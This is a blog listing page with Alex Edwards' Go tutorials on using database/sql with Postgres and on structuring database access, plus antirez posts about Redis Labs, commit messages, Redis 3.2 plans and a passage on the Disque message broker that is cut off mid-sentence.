"database/sql" "fmt" "log" "net/http" "bookstore.alexedwards.net/models" _ "github.com/lib/pq" ) // This time make models.BookModel the dependency in Env. type Env struct { books models.BookModel } func main() { // Initialise the connection pool as normal. db, err := sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } // Initalise Env with a models.BookModel instance (which in turn wraps // the connection pool). env := &Env{ books: models.BookModel{DB: db}, } http.HandleFunc("/books", env.booksIndex) http.ListenAndServe(":3000", nil) } func (env *Env) booksIndex(w http.ResponseWriter, r *http.Request) { // Execute the SQL query by calling the All() method. bks, err := env.books.All() if err != nil { log.Print(err) http.Error(w, http.StatusText(500), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.Isbn, bk.Title, bk.Author, bk.Price) } } At first glance this pattern might feel more confusing than the other options we've looked at — especially if you're not very familiar with Go. But it has some distinct advantages over our previous examples: The database calls are succinct and read very nicely from the perspective of our handlers: env.books.All() versus the previous models.AllBooks(env.db). In a complex application, your database access layer might have more dependencies than just the connection pool. This pattern allows us to store all those dependencies in the custom BookModel type, rather than having to pass them as parameters with every call. Because the database actions are now defined as methods on our custom BookModel type, it opens up the opportunity to replace any references to BookModel in our application code with an interface. And in turn, that means that we can create a mock implementation of our BookModel which can be used during testing. The final point here is probably the most important, so let's take a look at what it could look like in practice: File: main.go package main import ( "database/sql" "fmt" "log" "net/http" "bookstore.alexedwards.net/models" _ "github.com/lib/pq" ) type Env struct { // Replace the reference to models.BookModel with an interface // describing its methods instead. All the other code remains exactly // the same. books interface { All() ([]models.Book, error) } } func main() { db, err := sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } env := &Env{ books: models.BookModel{DB: db}, } http.HandleFunc("/books", env.booksIndex) http.ListenAndServe(":3000", nil) } func (env *Env) booksIndex(w http.ResponseWriter, r *http.Request) { bks, err := env.books.All() if err != nil { log.Print(err) http.Error(w, http.StatusText(500), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.Isbn, bk.Title, bk.Author, bk.Price) } } Note: If you're not familiar with the concept of interfaces or how they work in Go, I've written a detailed tutorial explaining them here. Once you've made that change, you should be able to create and run a unit test for the booksIndex() handler using a mockBookModel like so: $ touch main_test.go File: main_test.go package main import ( "net/http" "net/http/httptest" "testing" "bookstore.alexedwards.net/models" ) type mockBookModel struct{} func (m *mockBookModel) All() ([]models.Book, error) { var bks []models.Book bks = append(bks, models.Book{"978-1503261969", "Emma", "Jayne Austen", 9.44}) bks = append(bks, models.Book{"978-1505255607", "The Time Machine", "H. G. Wells", 5.99}) return bks, nil } func TestBooksIndex(t *testing.T) { rec := httptest.NewRecorder() req, _ := http.NewRequest("GET", "/books", nil) env := Env{books: &mockBookModel{}} http.HandlerFunc(env.booksIndex).ServeHTTP(rec, req) expected := "978-1503261969, Emma, Jayne Austen, £9.44\n978-1505255607, The Time Machine, H. G. Wells, £5.99\n" if expected != rec.Body.String() { t.Errorf("\n...expected = %v\n...obtained = %v", expected, rec.Body.String()) } } $ go test -v === RUN TestBooksIndex --- PASS: TestBooksIndex (0.00s) PASS ok bookstore.alexedwards.net 0.003s Wrapping the connection pool with a custom type and combining it with dependency injection via an Env struct is quite a nice approach when: There is a common set of dependencies that your handlers need access to. Your database layer has more dependencies than just the connection pool. You want to mock the database during unit tests. 4. Request context Finally let's look at using request context to store and pass around the database connection pool. Just to be clear upfront, I don't recommend using this approach, and the official documentation advises against it too: Use context Values only for request-scoped data that transits processes and APIs, not for passing optional parameters to functions. In other words, that means request context should only be used to store values which are created during an individual request cycle and are no longer needed after the request has completed. It's not really intended to store long-lived handler dependencies like connection pools, loggers or template caches. That said, some people do use request context in this way, and it's worth being aware of in case you ever come across it. The pattern works like this: File: main.go package main import ( "context" "database/sql" "fmt" "log" "net/http" "bookstore.alexedwards.net/models" _ "github.com/lib/pq" ) // Create some middleware which swaps out the existing request context // with new context.Context value containing the connection pool. func injectDB(db *sql.DB, next http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { ctx := context.WithValue(r.Context(), "db", db) next.ServeHTTP(w, r.WithContext(ctx)) } } func main() { db, err := sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } // Wrap the booksIndex handler with the injectDB middleware, // passing in the new context.Context with the connection pool. http.Handle("/books", injectDB(db, booksIndex)) http.ListenAndServe(":3000", nil) } func booksIndex(w http.ResponseWriter, r *http.Request) { // Pass the request context onto the database layer. bks, err := models.AllBooks(r.Context()) if err != nil { log.Print(err) http.Error(w, http.StatusText(500), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.Isbn, bk.Title, bk.Author, bk.Price) } } Essentially, what's happening here is that the injectDB middleware replaces the request context for every request with one that contains the connection pool. Then, in our handlers, we pass the request context on to our database layer. Then in the database layer we can retrieve the connection pool from the context and use it like this: File: models/models.go package models import ( "context" "database/sql" "errors" ) type Book struct { Isbn string Title string Author string Price float32 } func AllBooks(ctx context.Context) ([]Book, error) { // Retrieve the connection pool from the context. Because the // r.Context().Value() method always returns an interface{} type, we // need to type assert it into a *sql.DB before using it. db, ok := ctx.Value("db").(*sql.DB) if !ok { return nil, errors.New("could not get database connection pool from context") } rows, err := db.Query("SELECT * FROM books") if err != nil { return nil, err } defer rows.Close() var bks []Book for rows.Next() { var bk Book err := rows.Scan(&bk.Isbn, &bk.Title, &bk.Author, &bk.Price) if err != nil { return nil, err } bks = append(bks, bk) } if err = rows.Err(); err != nil { return nil, err } return bks, nil } If you go ahead and run this code it'll work just fine. But this pattern has some big downsides: Each time we retrieve the connection pool from the context we need to type assert it and check for any errors. This makes our code more verbose, and we lose the compile-time type safety that we have with the other approaches. Unlike the dependency injection patterns, it's not clear to see what dependencies a function has just by looking at its signature. Instead, you have to read through the code to see what it is retrieving from the request context. In a small application this isn't a problem — but if you're trying to get to grips with a large, unfamiliar, codebase then it's not ideal. It's not idiomatic Go. Using the request context in this way goes against the advice in the official documentation, and that means the pattern might be surprising or unfamiliar to other Go developers. So, is there ever a scenario where this pattern is a good fit? It's tempting to be glib here and say "no", but the truth is that it can be an easy-ish way to pass around the connection pool if you have a sprawling codebase with handlers and database logic spread across many different packages. But if you're considering using it for that reason, then it's probably a sign that you should refactor your codebase to have a simpler, flatter, package structure. Or, alternatively, I would suggest taking a closer look at the closure pattern we talked about earlier instead.

• Thanks Pivotal, Hello Redis Labs
  Antirez · Jul 15, 2015

  I consider myself very lucky for contributing to the open source. For me OSS software is not just a license: it means transparency in the development process, choices that are only taken in order to improve software from the point of view of the users, documentation that attempts to cover everything, and simple, understandable systems. The Redis community had the privilege of finding in Pivotal, and VMware before, a company that thinks at open source in the same way as we, the community of developers, think of it. Thanks to the Pivotal sponsorship Redis was able to grow, to reach in the latest years a diffusion which I never expected it to reach. However for the final user it always was just a "pure" OSS project: go to the community web site, grab a tar ball, read the free documentation, send a pull request, and watch the stream of commits as they happen live. In order to not stop this magic from happening, and in order to have enough free time to spend with my family, during these years I made the decision of not starting a Redis company. However I encouraged the creation of an economic ecosystem around Redis. There are multiple companies about Redis doing well at this point. There is one, Redis Labs, that made a remarkable steady work over the years in order to build a very strong company, with a team of developers hacking on the core of Redis, and a great set of products that provide Redis users with the commercial choices they need. At some point it started to look like a good idea for me to move to Redis Labs. Running a big cluster of Redis instances and having a set of developers on the Redis core is the key asset for Redis future. We can work together in order to improve Redis faster, with a constant feedback on what happens into the wild of actual users running Redis and the efforts required in order to operate it at scale. Redis Labs was willing to continue what VMware and Pivotal started. I'll be able to work as I do currently, spending all my time in the open source side of the project, while Redis Labs continues to provide Redis users with an hassles-free Redis experience of managed instances and products. However because of my close interaction with Redis Labs I believe we'll see much more contributions from Redis Labs developers to the Redis core. Things like the memory reduction pull requests which are going to be part of Redis 3.2, or the improvements to the key eviction process they contributed for Redis 3.0, are a clear example of what happens when you have great developers working at Redis, able to observe a large set of use cases. I, Pivotal, and Redis Labs, all agree that this is important for the future of Redis, so I'm officially moving to Redis Labs starting from tomorrow morning. Thank you Pivotal and Redis Labs, we'll have to ship more OSS code in the next years, and this is just great. EDIT: Redis Labs press release can be found here: https://redislabs.com/press-releases/redis-creator-salvatore-sanfilippo-antirez-joins-redis-labs Comments

• Commit messages are not titles
  Antirez · Jun 23, 2015

  Nor subjects, for what matters. Everybody will tell you to don't add a dot at the end of the first line of a commit message. I followed the advice for some time, but I'll stop today, because I don't believe commit messages are titles or subjects. They are synopsis of the meaning of the change operated by the commit, so they are small sentences. The sentence can be later augmented with more details in the next lines of the commit message, however many times there is *no* body, there is just the first line. How many emails or articles you see with just the subject or the title? Very little, I guess. So for me it is like: This is a smart synopsis, as information dense as possible. And when needed, this is the long version since: 1. I did this. 2. And resulted into this. 3. And you could reproduce this way. So every time I'll be told again to don't put a dot at the end, I'll link to this article. But no, it's not just a matter of a dot. If the first line of a commit message is a title, it changes *the way* you write it. It becomes just some text to introduce some more text, without any stress on the information density. Coders gotta code, so if something can be told in a very short way in one line, do it, and reserve the other additional informations for the next line, without sacrificing the first line since "It's a title". Moreover, programming is the art of writing synopsis, otherwise you end with programs much more complex they should be. So perhaps it's also a good exercise for us. Comments

• Practical Persistence in Go: SQL Databases
  Alex Edwards · Jun 13, 2015

  This is the first in a series of tutorials about persisting data in Go web applications. In this post we'll be looking at SQL databases. I'll explain the basics of the database/sql package, walk through building a working application, and explore a couple of options for cleanly structuring your code. Before we get started you'll need to go get one of the drivers for the database/sql package. In this post I'll be using Postgres and the excellent pq driver. But all the code in this tutorial is (nearly) exactly the same for any other driver or database – including MySQL and SQLite. I'll point out the very few Postgres-specific bits as we go. $ go get github.com/lib/pq Basic usage Let's build a simple Bookstore application, which carries out CRUD operations on a books table. If you'd like to follow along, you'll need to create a new bookstore database and scaffold it with the following: CREATE TABLE books ( isbn char(14) NOT NULL, title varchar(255) NOT NULL, author varchar(255) NOT NULL, price decimal(5,2) NOT NULL ); INSERT INTO books (isbn, title, author, price) VALUES ('978-1503261969', 'Emma', 'Jayne Austen', 9.44), ('978-1505255607', 'The Time Machine', 'H. G. Wells', 5.99), ('978-1503379640', 'The Prince', 'Niccolò Machiavelli', 6.99); ALTER TABLE books ADD PRIMARY KEY (isbn); Once that's done, head over to your Go workspace and create a new bookstore package directory and a main.go file: $ cd $GOPATH/src $ mkdir bookstore && cd bookstore $ touch main.go Let's start with some code that executes a SELECT * FROM books query and then prints the results to stdout. File: main.go package main import ( _ "github.com/lib/pq" "database/sql" "fmt" "log" ) type Book struct { isbn string title string author string price float32 } func main() { db, err := sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } rows, err := db.Query("SELECT * FROM books") if err != nil { log.Fatal(err) } defer rows.Close() bks := make([]*Book, 0) for rows.Next() { bk := new(Book) err := rows.Scan(&bk.isbn, &bk.title, &bk.author, &bk.price) if err != nil { log.Fatal(err) } bks = append(bks, bk) } if err = rows.Err(); err != nil { log.Fatal(err) } for _, bk := range bks { fmt.Printf("%s, %s, %s, £%.2f\n", bk.isbn, bk.title, bk.author, bk.price) } } There's a lot going on here. We'll step through this bit-by-bit. The first interesting thing is the way that we import the driver. We don't use anything in the pq package directly, which means that the Go compiler will raise an error if we try to import it normally. But we need the pq package's init() function to run so that our driver can register itself with database/sql. We get around this by aliasing the package name to the blank identifier. This means pq.init() still gets executed, but the alias is harmlessly discarded (and our code runs error-free). This approach is standard for most of Go's SQL drivers. Next we define a Book type – with the struct fields and their types aligning to our books table. For completeness I should point out that we've only been able to use the string and float32 types safely because we set NOT NULL constraints on the columns in our table. If the table contained nullable fields we would need to use the sql.NullString and sql.NullFloat64 types instead – see this Gist for a working example. Generally it's easiest to avoid nullable fields altogether if you can, which is what we've done here. In the main() function we initialise a new sql.DB object by calling sql.Open(). We pass in the name of our driver (in this case "postgres") and the connection string (you'll need to check your driver documentation for the correct format). It's worth emphasising that the sql.DB object it returns is not a database connection – it's an abstraction representing a pool of underlying connections. You can change the maximum number of open and idle connections in the pool with the db.SetMaxOpenConns() and db.SetMaxIdleConns() methods respectively. A final thing to note is that sql.DB is safe for concurrent access, which is very convenient if you're using it in a web application (like we will shortly). From there we follow a standard pattern that you'll see often: We fetch a resultset from the books table using the DB.Query() method and assign it to a rows variable. Then we defer rows.Close() to ensure the resultset is properly closed before the parent function returns. Closing a resultset properly is really important. As long as a resultset is open it will keep the underlying database connection open – which in turn means the connection is not available to the pool. So if something goes wrong and the resultset isn't closed it can rapidly lead to all the connections in your pool being used up. Another gotcha (which caught me out when I first began) is that the defer statement should come after you check for an error from DB.Query. Otherwise, if DB.Query() returns an error, you'll get a panic trying to close a nil resultset. We then use rows.Next() to iterate through the rows in the resultset. This preps the first (and then each subsequent) row to be acted on by the rows.Scan() method. Note that if iteration over all of the rows completes then the resultset automatically closes itself and frees-up the connection. We use the rows.Scan() method to copy the values from each field in the row to a new Book object that we created. We then check for any errors that occurred during Scan, and add the new Book to the bks slice we created earlier. When our rows.Next() loop has finished we call rows.Err(). This returns any error that was encountered during the interation. It's important to call this – don't just assume that we completed a successful iteration over the whole resultset. If our bks slice has been filled successfully, we loop through it and print the information about each book to stdout. If you run the code you should get the following output: $ go run main.go 978-1503261969, Emma, Jayne Austen, £9.44 978-1505255607, The Time Machine, H. G. Wells, £5.99 978-1503379640, The Prince, Niccolò Machiavelli, £6.99 Using in a web application Let's start to morph our code into a RESTful-ish web application with 3 routes: GET /books – List all books in the store GET /books/show – Show a specific book by its ISBN POST /books/create – Add a new book to the store We've just written all the core logic we need for the GET /books route. Let's adapt it into a booksIndex() HTTP handler for our web application. File: main.go package main import ( _ "github.com/lib/pq" "database/sql" "fmt" "log" "net/http" ) type Book struct { isbn string title string author string price float32 } var db *sql.DB func init() { var err error db, err = sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } if err = db.Ping(); err != nil { log.Fatal(err) } } func main() { http.HandleFunc("/books", booksIndex) http.ListenAndServe(":3000", nil) } func booksIndex(w http.ResponseWriter, r *http.Request) { if r.Method != "GET" { http.Error(w, http.StatusText(405), 405) return } rows, err := db.Query("SELECT * FROM books") if err != nil { http.Error(w, err.Error(), 500) return } defer rows.Close() bks := make([]*Book, 0) for rows.Next() { bk := new(Book) err := rows.Scan(&bk.isbn, &bk.title, &bk.author, &bk.price) if err != nil { http.Error(w, err.Error(), 500) return } bks = append(bks, bk) } if err = rows.Err(); err != nil { http.Error(w, err.Error(), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.isbn, bk.title, bk.author, bk.price) } } So how is this different? We use the init() function to set up our connection pool and assign it to the global variable db. We're using a global variable to store the connection pool because it's an easy way of making it available to our HTTP handlers – but it's by no means the only way. Because sql.Open() doesn't actually check a connection, we also call DB.Ping() to make sure that everything works OK on startup. In the booksIndex hander we return a 405 Method Not Allowed response for any non-GET request. Then we have our data access logic. This is exactly the same as the earlier example, except that we're now returning proper HTTP errors instead of exiting the program. Lastly we write the books' details as plain text to the http.ResponseWriter. Run the application and then make a request: $ curl -i localhost:3000/books HTTP/1.1 200 OK Content-Length: 205 Content-Type: text/plain; charset=utf-8 978-1503261969, Emma, Jayne Austen, £9.44 978-1505255607, The Time Machine, H. G. Wells, £5.99 978-1503379640, The Prince, Niccolò Machiavelli, £6.99 Querying a single row For the GET /books/show route we want to retrieve single book based on its ISBN, with the ISBN being passed in the query string like: /books/show?isbn=978-1505255607 We'll create a new bookShow() handler for this: File: main.go ... func main() { http.HandleFunc("/books", booksIndex) http.HandleFunc("/books/show", booksShow) http.ListenAndServe(":3000", nil) } ... func booksShow(w http.ResponseWriter, r *http.Request) { if r.Method != "GET" { http.Error(w, http.StatusText(405), 405) return } isbn := r.FormValue("isbn") if isbn == "" { http.Error(w, http.StatusText(400), 400) return } row := db.QueryRow("SELECT * FROM books WHERE isbn = $1", isbn) bk := new(Book) err := row.Scan(&bk.isbn, &bk.title, &bk.author, &bk.price) if err == sql.ErrNoRows { http.NotFound(w, r) return } else if err != nil { http.Error(w, err.Error(), 500) return } fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.isbn, bk.title, bk.author, bk.price) } Once again the handler starts again by checking that it's dealing with a GET request. We then use the Request.FormValue() method to fetch the ISBN value from the request query string. This returns an empty string if there's no parameter found, so we check for that and issue a 400 Bad Request response if it's missing. Now we get to the interesting bit: DB.QueryRow(). This method is similar to DB.Query, except that it fetches a single row instead of multiple rows. Because we need to include untrusted input (the isbn variable) in our query we take advantage of placeholder parameters, passing in the value of our placeholder as the second argument to DB.QueryRow() like so: db.QueryRow("SELECT * FROM books WHERE isbn = $1", isbn) Behind the scenes, db.QueryRow (and also db.Query() and db.Exec()) work by creating a new prepared statement on the database, and subsequently execute that prepared statement using the placeholder parameters provided. This means that all three methods are safe from SQL injection when used correctly . From Wikipedia: Prepared statements are resilient against SQL injection, because parameter values, which are transmitted later using a different protocol, need not be correctly escaped. If the original statement template is not derived from external input, injection cannot occur. The placeholder parameter syntax differs depending on your database. Postgres uses the $N notation, but MySQL, SQL Server and others use the ? character as a placeholder. OK, let's get back to our code. After we've got a row from DB.QueryRow() we use row.Scan() to copy the values into a new Book object. Note how any errors from DB.QueryRow() are deferred and not surfaced until we call row.Scan(). If our query returned no rows, our call to row.Scan() will return an error of the type sql.ErrNoRows. We check for that error type specifically and return a 404 Not Found response if that's the case. We then handle all other errors by returning a 500 Internal Server Error. If everything went OK, we write the book details to the http.ResponseWriter. Give it a try: $ curl -i localhost:3000/books/show?isbn=978-1505255607 HTTP/1.1 200 OK Content-Length: 54 Content-Type: text/plain; charset=utf-8 978-1505255607, The Time Machine, H. G. Wells, £5.99 If you play around with the ISBN value, or issue a malformed request you should see that you get the appropriate error responses. Executing a statement For our final POST /books/create route we'll make a new booksCreate() handler and use DB.Exec() to execute a INSERT statement. You can take the same approach for an UPDATE, DELETE, or any other action that doesn't return rows. Here's the code: File: main.go ... import ( _ "github.com/lib/pq" "database/sql" "fmt" "log" "net/http" "strconv" ) ... func main() { http.HandleFunc("/books", booksIndex) http.HandleFunc("/books/show", booksShow) http.HandleFunc("/books/create", booksCreate) http.ListenAndServe(":3000", nil) } ... func booksCreate(w http.ResponseWriter, r *http.Request) { if r.Method != "POST" { http.Error(w, http.StatusText(405), 405) return } isbn := r.FormValue("isbn") title := r.FormValue("title") author := r.FormValue("author") if isbn == "" || title == "" || author == "" { http.Error(w, http.StatusText(400), 400) return } price, err := strconv.ParseFloat(r.FormValue("price"), 32) if err != nil { http.Error(w, http.StatusText(400), 400) return } result, err := db.Exec("INSERT INTO books VALUES($1, $2, $3, $4)", isbn, title, author, price) if err != nil { http.Error(w, err.Error(), 500) return } rowsAffected, err := result.RowsAffected() if err != nil { http.Error(w, err.Error(), 500) return } fmt.Fprintf(w, "Book %s created successfully (%d row affected)\n", isbn, rowsAffected) } Hopefully this is starting to feel familiar now. In the booksCreate() handler we check we're dealing with a POST request, and then fetch the request parameters using request.FormValue(). We verify that all the necessary parameters exist, and in the case of price use the strconv.ParseFloat() to convert the parameter from a string into a float. We then carry out the insert using db.Exec(), passing our new book details as parameters just like we did in the previous example. Note that DB.Exec(), like DB.Query() and DB.QueryRow(), is a variadic function, which means you can pass in as many parameters as you need. The db.Exec() method returns an object satisfying the sql.Result interface, which you can either use (like we are here) or discard with the blank identifier. The sql.Result() interface guarantees two methods: LastInsertId() – which is often used to return the value of an new auto increment id, and RowsAffected() – which contains the number of rows that the statement affected. In this code we're picking up the latter, and then using it in our plain text confirmation message. It's worth noting that not all drivers support the LastInsertId() and RowsAffected() methods, and calling them may return an error. For example, pq doesn't support LastInsertId() – if you need that functionality you'll have to take an approach like this one. Let's try out the /books/create route, passing our parameters in the POST body: $ curl -i -X POST -d "isbn=978-1470184841&title=Metamorphosis&author=Franz Kafka&price=5.90" localhost:3000/books/create HTTP/1.1 200 OK Content-Length: 58 Content-Type: text/plain; charset=utf-8 Book 978-1470184841 created successfully (1 row affected) Using DB.Prepare() Something you might be wondering is: Why aren't we using DB.Prepare()? As I explained a bit earlier, we kinda are behind the scenes. All of DB.Query(), DB.Exec() and DB.QueryRow() set up a prepared statement on the database, run it with the parameters provided, and then close (or deallocate) the prepared statement. But the downside of this is obvious: we have 3 round trips to the database with each HTTP request, whereas if we set up prepared statements with DB.Prepare() – possibly in the init() function – we could have only one round trip each time. But the trade-off isn't that simple. Prepared statements only last for the duration of the current database session. If the session ends, then the prepared statements must be recreated before being used again. So if there's database downtime or a restart you'll need to recreate the prepared statements. For a web application where latency is critical it might be worth the effort to setup monitoring for your database, and reinitialise the prepared statements after an outage. But for an application like this where latency isn't that important, using DB.Query() et al is clear and effective enough. There's a Google groups thread which discusses this in more detail. Refactoring At the moment all our database access logic is mixed in with our HTTP handlers. It's probably a good idea to refactor this for easier maintainability and DRYness as our application grows. But this tutorial is already pretty long, so I'll explore some of the options for refactoring our code in the next post – Practical Persistence in Go: Organising Database Access (coming soon!) Additional tools The Sqlx package by Jason Moiron provides some additions to the standard database/sql functionality, including support for named placeholder parameters and automatic marshalling of rows into structs. If you're looking for something more ORM-ish, you might like to consider Modl by the same author, or gorp by James Cooper. The null package by can help make managing nullable values easier, if that's something you need to do a lot of. Lastly, I found the tutorials at go-database-sql.org to be clear and helpful. Especially worth reading is the surprises and limitations section. If you found this post useful, you might like to subscribe to my RSS feed.

• Plans for Redis 3.2
  Antirez · Jun 12, 2015

  I’m back from Paris, DotScale 2015 was a very interesting conference. Before leaving I was working on Sentinel in the context of the unstable branch: the work was mainly about connection sharing. In short, it is the ability of a few Sentinels to scale, monitoring many masters. Before to leave, and now that I’m back, I tried to “secure” a set of features that will be the basis for Redis 3.2. In the next weeks I’ll be focusing developing these features, so I thought it’s worth to share the list with you ASAP. Geo hashing API: This work originated from Ardb, that was originally a fork of Redis (https://github.com/yinqiwen/ardb), and was later extracted and improved by Matt Stancliff (https://matt.sh/redis-geo) that ported it to Redis. Open source is cool eh? The code needs a refactoring effort since currently duplicates parts of the sorted set implementation. It is not impossible that I may also change a few things about the API, I’m currently not sure, if there is something to fix, I’ll fix it. But the bottom line is: this is a great feature, now that Matt is no longer contributing to Redis, there is a huge risk to lose this work, so I’m going to do the effort of refactoring, reviewing and merging it as the first of the tasks for Redis 3.2. I think it is a very exciting addition to the Redis API. Bloom filters: We’ll get bloom filters in 3.2. I’m not sure if this will be implemented as a String type feature like HyperLogLog are, but more likely as a new special type, since I'm interested in non trivial semantics that are more easy to provide as a new type. I’ve many design ideas for bloom filters, but I’m pretty sure I would like to have the ability to control from the API the accuracy/space tradeoff, perhaps not in the lower level from of specifying number of bits and hash functions to use, but in a more higher level way. Another thing I would love to have in this API is the ability of the bloom filter to auto-depollute itself (using multiple rotating filters or something like that). I’ll read all the available literature and decide what to do, but we’ll get this feature into 3.2. Memory PRs: there are two important PRs from RedisLabs to improve Redis memory usage. We’ll get both merged. Memory introspection command: A command that provides information about memory, like the LATENCY command but for memory usage. Hints about where is memory consumed, if its just the RSS that is high because of past peak memory usage, hints about amount of memory used by client output buffers, ability to resize the hash tables to save some memory if needed, and so forth. Some Redis Cluster multi DC support. This will probably just be a “static” option of Cluster slaves so that they’ll not take part to promotion when the master fails. In this way using CLUSTER FAILOVER TAKEOVER it will be possible to promote all the slaves in a minority partition. New List type operations: A few O(1) list operations like LMERGE, and O(N) operations that will be normally used with N very small so that they are most of the times O(1) operations, like operations to move N elements from a list to another. AOF safety feature: https://github.com/antirez/redis/pull/2574 AOF rewrites optionally using an RDB preamble, so that rewriting the AOF and reloading back the content at startup is faster. SPOP COUNT option (already implemented, 3.2 will be the first stable versions to get it)) Redis Cluster redis-trib rebalance command, in order to automatically rehash keys to end with an more homogeneous memory usage between nodes. A few things originally planned for 3.2 were ported to 3.0 since they were safe. A recent example is ZADD with support for options like NX and XX. In general it is possible that a few more commands about existing types will be added to Redis 3.2. This is basically a Redis version which is designed to make happy people that wanted more in the API side, since for a while we focused more on the operations aspect of Redis. About the ETA, the work is starting Monday, and I hope they’ll not take more time than the end of September, when the first RC will be pushed. Once it is RC, the RC -> Stable transition time is not scheduled, it is a function of the reporting time of critical bugs. Once for a few weeks nobody notices more bad issues, we’ll go stable. I’ll follow up with new blog posts about single entries listed above, like for the Geo hashing thing, the bloom filter final implementation and API description, and so forth. In the meantime, have fun with Redis 3.0! Comments

• Adventures in message queues
  Antirez · Mar 15, 2015

  EDIT: In case you missed it, Disque source code is now available at http://github.com/antirez/disque It is a few months that I spend ~ 15-20% of my time, mostly hours stolen to nights and weekends, working to a new system. It’s a message broker and it’s called Disque. I’ve an implementation of 80% of what was in the original specification, but still I don’t feel like it’s ready to be released. Since I can’t ship, I’ll at least blog… so that’s the story of how it started and a few details about what it is. ~ First steps ~ Many developers use Redis as a message queue, often wrappered via some library abstracting away Redis low level primitives, other times directly building a simple, ad-hoc queue, using the Redis raw API. This use case is covered mainly using blocking list operations, and list push operations. Redis apparently is at the same time the best and the worst system to use like that. It’s good because it is fast, easy to inspect, deploy and use, and in many environments it was already one piece of the infrastructure. However it has disadvantages because Redis mutable data structures are very different than immutable messages. Redis HA / Cluster tradeoffs are totally biased towards large mutable values, but the same tradeoffs are not the best ones to deal with messages. One thing that is important to guarantee for a message broker is that a message is delivered either at least one time, or at most one time. In short given that to guarantee an exact single delivery of a message (where for delivery we intent a message that was received *and* processed by a worker) is practically impossible, the choices are that the message broker is able to guarantee either 0 or 1 deliveries, or 1 to infinite deliveries. This is often referred as at-most-once semantics, and at-least-once semantics. There are use cases for the first, but the most interesting and practical semantics is the latter, that is, to guarantee that a message is delivered at least one time, and deliver multiple times if there are failures. So a few months ago I started to think at some client-side protocol to use a set of Redis masters (without replication or clustering whatsoever) in a way that provides these guarantees. Sometimes with small changes in the way Redis is used for an use case, it is possible to end with a better system. For example for distributed locks I tried to document an algorithm which is trivial to implement but more robust than the single-instance + failover implementation (http://redis.io/topics/distlock). However after a few days of work my design draft suggested that it was a better bet to design an ad-hoc system, since the client-side algorithm ended being too complex, non optimal, and certain things I absolutely wanted were impossible or very hard to do. To add more things to Redis sounded like a bad idea, it does a lot of things already, and to cover messaging well I needed things which are very different than the way Redis operates. But why to design a new system given that the world is full of message brokers? Because an impressive number of users were using Redis instead of systems specifically designed for this goal, and this was strange. A few can be wrong, but so many need to get some reason. Maybe Redis low barrier of entry, easy API, speed, were not what most people were accustomed to when they looked at the message brokers landscape. It seems populated by solutions that are either too simple, asking the application to do too much, or too complex, but super full featured. Maybe there is some space for the “Redis of messaging”? ~ Redis brutally forked ~ For the first time in my life I didn’t started straight away to write code. For weeks I looked at the design from time to time, converted it into a new system and not a Redis client library, and tried to understand, as an user, what would make me very happy in a message broker. The original use case remained the same: delayed jobs. Disque is a general system, but 90% of times in the design the “reference” was an user that has to solve the problem of sending messages that are likely jobs to process. If something was against this use case, it was removed. When the design was ready, I finally started to code. But where to start? “vi main.c”? Fortunately Redis is, in part, a framework to write distributed systems in C. I had a protocol, network libraries, clients handling, node-to-node message bus. To rewrite all this from scratch sounded like a huge waste. At the same time I wanted Disque to be able to completely diverge from Redis in any details possible if this is needed, and I wanted it to be a side project without impacts on Redis itself. So instead of trying the huge undertake of splitting Redis into an actual separated framework, and the Redis implementation, I took a more pragmatic approach: I forked the code, and removed everything that was Redis specific from the source code, in order to end with a skeleton. At this point I was ready to implement my specification. ~ What is Disque? ~ After a few months of very non intense work and just 200 commits I’ve finally a system that no longer looks like a toy: it looked like a toy for many weeks so I was afraid of even talking about it, since the probability of me just deleting the source tree was big. Now that most of the idea is working code with tests, I’m finally sure this will be released in the future, and to talk about the tradeoffs I took in the design. Disque is a distributed system, by default. Since it is an AP system, it made no sense to have like in Redis a single-node mode and a distributed mode. A single Disque node is just a particular case of a cluster, having just one node. So this was of the important points in the design: fault tolerant, resistant to partitions, and available no matter how many nodes are still up, aka AP. I also wanted a system that was inherently able to scale in different scenarios, both when the issue is many producers and consumers with many queues, and when instead all this producers and consumers are all focusing on a single queue, that may be distributed into multiple nodes. My requirements were telling me aloud one thing… that Disque was going to make a big design sacrifice. Message ordering. Disque only provides best-effort ordering. However because of this sacrifice, there is a lot to gain… tradeoffs are interesting since sometimes they totally open the design space. I could continue recounting you what Disque is like that, however a few months ago I saw a comment in Hacker News, written by Jacques Chester, see https://news.ycombinator.com/item?id=8709146 [EDIT: SORRY I made an error cut&pasting the wrong name of Adrian (Hi Adrian, sorry for misquoting you!)]. Jacques, that happens to work for Pivotal like me, was commenting how different messaging systems have very different set of features, properties, and without the details it is almost impossible to evaluate the different choices, and to evaluate if one is faster than the other because it has a better implementation, or simple offers a lot less guarantees. So he wrote a set of questions one should ask when evaluating a messaging system. I’ll use his questions, and add a few more, in order to describe what Disque is, in the hope that I don’t end just hand waving, but providing some actual information. Q: Are messages delivered at least once? In Disque you can chose at least once delivery (the default), or at most once delivery. This property can be set per message. At most once delivery is just a special case of at least once delivery, setting the “retry” parameter of the message to 0, and replicating the message to a single node. Q: Are messages acknowledged by consumers? Yes, the only way for a consumer to tell the system the message got delivered correctly, is to acknowledge it. Q: Are messages delivered multiple times if not acknowledged? Yes, Disque will automatically deliver the message again, after a “retry” time, forever (up to the max TTL time for the message). When messages are acknowledged, the acknowledge is propagated to the nodes having a copy of the message. If the system believes everybody was reached, the message is finally garbage collected and removed. Acknowledged messages are also evicted during memory pressure. Nodes run a best-effort algorithm to avoid to queue the same message multiple times, in order to approximate single delivery better. However during failures, multiple nodes may re-deliver the same message multiple times at the same time. Q: Is queueing durable or ephemeral. Durable. Q: Is durability achieved by writing every message to disk first, or by replicating messages across servers? By default Disque runs in-memory only, and uses synchronous replication to achieve durability 